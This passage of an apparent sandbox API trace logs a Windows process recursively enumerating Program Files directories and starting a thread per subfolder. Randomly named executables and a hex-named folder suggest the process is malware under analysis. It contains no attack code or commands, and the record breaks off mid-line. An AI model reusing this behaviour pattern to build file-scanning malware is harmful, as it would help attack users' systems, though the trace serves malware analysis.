ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="Journal.exe", _String2=".") returned 1 [0141.784] wcscmp (_String1="Journal.exe", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="MSPVWCTL.DLL", _String2=".") returned 1 [0141.784] wcscmp (_String1="MSPVWCTL.DLL", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="NBDoc.DLL", _String2=".") returned 1 [0141.785] wcscmp (_String1="NBDoc.DLL", _String2="..") returned 1 [0141.785] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0141.785] wcscmp (_String1="NBMapTIP.dll", _String2=".") returned 1 [0141.785] wcscmp (_String1="NBMapTIP.dll", _String2="..") returned 1 [0141.785] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0141.785] wcscmp (_String1="PDIALOG.exe", _String2=".") returned 1 [0141.785] wcscmp (_String1="PDIALOG.exe", _String2="..") returned 1 [0141.785] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0141.785] wcscmp (_String1="Templates", _String2=".") returned 1 [0141.785] wcscmp (_String1="Templates", _String2="..") returned 1 [0141.785] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff248 [0141.785] wcscpy (in: _Dest=0x8ff248, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0141.785] wcscat (in: _Dest=0x8ff248, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0141.785] wcscat (in: _Dest=0x8ff248, _Source="Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0141.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0141.786] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0694ed0, ftCreationTime.dwHighDateTime=0x1d561f4, ftLastAccessTime.dwLowDateTime=0xd0081d60, ftLastAccessTime.dwHighDateTime=0x1d58dfe, ftLastWriteTime.dwLowDateTime=0xd0081d60, ftLastWriteTime.dwHighDateTime=0x1d58dfe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="worthy.exe", cAlternateFileName="")) returned 1 [0141.786] wcscmp (_String1="worthy.exe", _String2=".") returned 1 [0141.786] wcscmp (_String1="worthy.exe", _String2="..") returned 1 [0141.786] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0694ed0, ftCreationTime.dwHighDateTime=0x1d561f4, ftLastAccessTime.dwLowDateTime=0xd0081d60, ftLastAccessTime.dwHighDateTime=0x1d58dfe, ftLastWriteTime.dwLowDateTime=0xd0081d60, ftLastWriteTime.dwHighDateTime=0x1d58dfe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="worthy.exe", cAlternateFileName="")) returned 0 [0141.786] FindClose (in: hFindFile=0x8da350 | out: hFindFile=0x8da350) returned 1 [0141.787] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fcb88) returned 1 [0141.787] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90a8) returned 1 [0141.787] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90f8) returned 1 Thread: id = 1639 os_tid = 0x744 [0139.598] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2470 [0139.598] wcscpy (in: _Dest=0x8d2470, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0139.598] wcscat (in: _Dest=0x8d2470, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\" [0139.598] wcscat (in: _Dest=0x8d2470, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\*") returned="C:\\Program Files\\Windows Mail\\*" [0139.598] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fd218 [0139.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9fd0 [0141.095] wcscmp (_String1=".", _String2=".") returned 0 [0141.095] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.095] wcscmp (_String1="..", _String2=".") returned 1 [0141.095] wcscmp (_String1="..", _String2="..") returned 0 [0141.095] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.095] wcscmp (_String1="en-US", _String2=".") returned 1 [0141.095] wcscmp (_String1="en-US", _String2="..") returned 1 [0141.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f96e8 [0141.095] wcscpy (in: _Dest=0x8f96e8, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0141.095] wcscat (in: _Dest=0x8f96e8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\" [0141.095] wcscat (in: _Dest=0x8f96e8, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0141.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f96e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0141.780] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9638f4b0, ftCreationTime.dwHighDateTime=0x1d534f3, ftLastAccessTime.dwLowDateTime=0xf279bc40, ftLastAccessTime.dwHighDateTime=0x1d50eed, ftLastWriteTime.dwLowDateTime=0xf279bc40, ftLastWriteTime.dwHighDateTime=0x1d50eed, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="manual_dust.exe", cAlternateFileName="MANUAL~1.EXE")) returned 1 [0141.780] wcscmp (_String1="manual_dust.exe", _String2=".") returned 1 [0141.780] wcscmp (_String1="manual_dust.exe", _String2="..") returned 1 [0141.780] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0141.780] wcscmp (_String1="msoe.dll", _String2=".") returned 1 [0141.780] wcscmp (_String1="msoe.dll", _String2="..") returned 1 [0141.780] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0141.780] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1 [0141.781] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0141.781] wcscmp (_String1="oeimport.dll", _String2=".") returned 1 [0141.781] wcscmp (_String1="oeimport.dll", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0141.781] wcscmp (_String1="wab.exe", _String2=".") returned 1 [0141.781] wcscmp (_String1="wab.exe", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0141.781] wcscmp (_String1="wabfind.dll", _String2=".") returned 1 [0141.781] wcscmp (_String1="wabfind.dll", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0141.781] wcscmp (_String1="wabimp.dll", _String2=".") returned 1 [0141.781] wcscmp (_String1="wabimp.dll", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0141.781] wcscmp (_String1="wabmig.exe", _String2=".") returned 1 [0141.781] wcscmp (_String1="wabmig.exe", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0141.781] wcscmp (_String1="WinMail.exe", _String2=".") returned 1 [0141.781] wcscmp (_String1="WinMail.exe", _String2="..") returned 1 [0141.781] FindNextFileW (in: hFindFile=0x8d9fd0, lpFindFileData=0x8fd218 | out: lpFindFileData=0x8fd218*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0141.781] FindClose (in: hFindFile=0x8d9fd0 | out: hFindFile=0x8d9fd0) returned 1 [0141.782] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd218) returned 1 [0141.782] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2470) returned 1 [0141.782] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d24b8) returned 1 Thread: id = 1640 os_tid = 0x74c [0139.598] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d2740 [0139.598] wcscpy (in: _Dest=0x8d2740, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0139.599] wcscat (in: _Dest=0x8d2740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\" [0139.599] wcscat (in: _Dest=0x8d2740, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\*") returned="C:\\Program Files (x86)\\Adobe\\*" [0139.599] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fd8a8 [0139.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9cd0 [0139.599] wcscmp (_String1=".", _String2=".") returned 0 [0139.599] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.599] wcscmp (_String1="..", _String2=".") returned 1 [0139.599] wcscmp (_String1="..", _String2="..") returned 0 [0139.599] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c7e50, ftCreationTime.dwHighDateTime=0x1d53041, ftLastAccessTime.dwLowDateTime=0x24beaf80, ftLastAccessTime.dwHighDateTime=0x1d593c3, ftLastWriteTime.dwLowDateTime=0x24beaf80, ftLastWriteTime.dwHighDateTime=0x1d593c3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="faster.exe", cAlternateFileName="")) returned 1 [0139.599] wcscmp (_String1="faster.exe", _String2=".") returned 1 [0139.599] wcscmp (_String1="faster.exe", _String2="..") returned 1 [0139.599] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8a9df0, ftCreationTime.dwHighDateTime=0x1d5834e, ftLastAccessTime.dwLowDateTime=0xc6eb42a0, ftLastAccessTime.dwHighDateTime=0x1d56fdd, ftLastWriteTime.dwLowDateTime=0xc6eb42a0, ftLastWriteTime.dwHighDateTime=0x1d56fdd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="married.exe", cAlternateFileName="")) returned 1 [0139.599] wcscmp (_String1="married.exe", _String2=".") returned 1 [0139.599] wcscmp (_String1="married.exe", _String2="..") returned 1 [0139.599] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa3a296e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3a296e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0139.599] wcscmp (_String1="Reader 10.0", _String2=".") returned 1 [0139.599] wcscmp (_String1="Reader 10.0", _String2="..") returned 1 [0139.599] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8f6f90 [0139.599] wcscpy (in: _Dest=0x8f6f90, _Source="C:\\Program Files (x86)\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0139.599] wcscat (in: _Dest=0x8f6f90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\") returned="C:\\Program Files (x86)\\Adobe\\" [0139.599] wcscat (in: _Dest=0x8f6f90, _Source="Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0139.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f6f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250 [0139.600] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa3a296e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3a296e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 0 [0139.600] FindClose (in: hFindFile=0x8d9cd0 | out: hFindFile=0x8d9cd0) returned 1 [0139.601] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd8a8) returned 1 [0139.601] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2740) returned 1 [0139.601] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2500) returned 1 Thread: id = 1641 os_tid = 0x748 [0139.607] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f91e8 [0139.609] wcscpy (in: _Dest=0x8f91e8, _Source="C:\\Program Files (x86)\\cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c" [0139.609] wcscat (in: _Dest=0x8f91e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\") returned="C:\\Program Files (x86)\\cd46de9c\\" [0139.609] wcscat (in: _Dest=0x8f91e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\*") returned="C:\\Program Files (x86)\\cd46de9c\\*" [0139.609] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fd8a8 [0139.609] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\cd46de9c\\*", lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9cd0 [0139.609] wcscmp (_String1=".", _String2=".") returned 0 [0139.609] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.609] wcscmp (_String1="..", _String2=".") returned 1 [0139.609] wcscmp (_String1="..", _String2="..") returned 0 [0139.609] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x81a1d100, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cd46de9c.exe", cAlternateFileName="")) returned 1 [0139.610] wcscmp (_String1="cd46de9c.exe", _String2=".") returned 1 [0139.610] wcscmp (_String1="cd46de9c.exe", _String2="..") returned 1 [0139.610] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x81a1d100, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cd46de9c.exe", cAlternateFileName="")) returned 0 [0139.610] FindClose (in: hFindFile=0x8d9cd0 | out: hFindFile=0x8d9cd0) returned 1 [0139.610] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd8a8) returned 1 [0139.610] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0139.610] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 Thread: id = 1642 os_tid = 0x740 [0139.611] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4000 [0139.611] wcscpy (in: _Dest=0x8e4000, _Source="C:\\Program Files 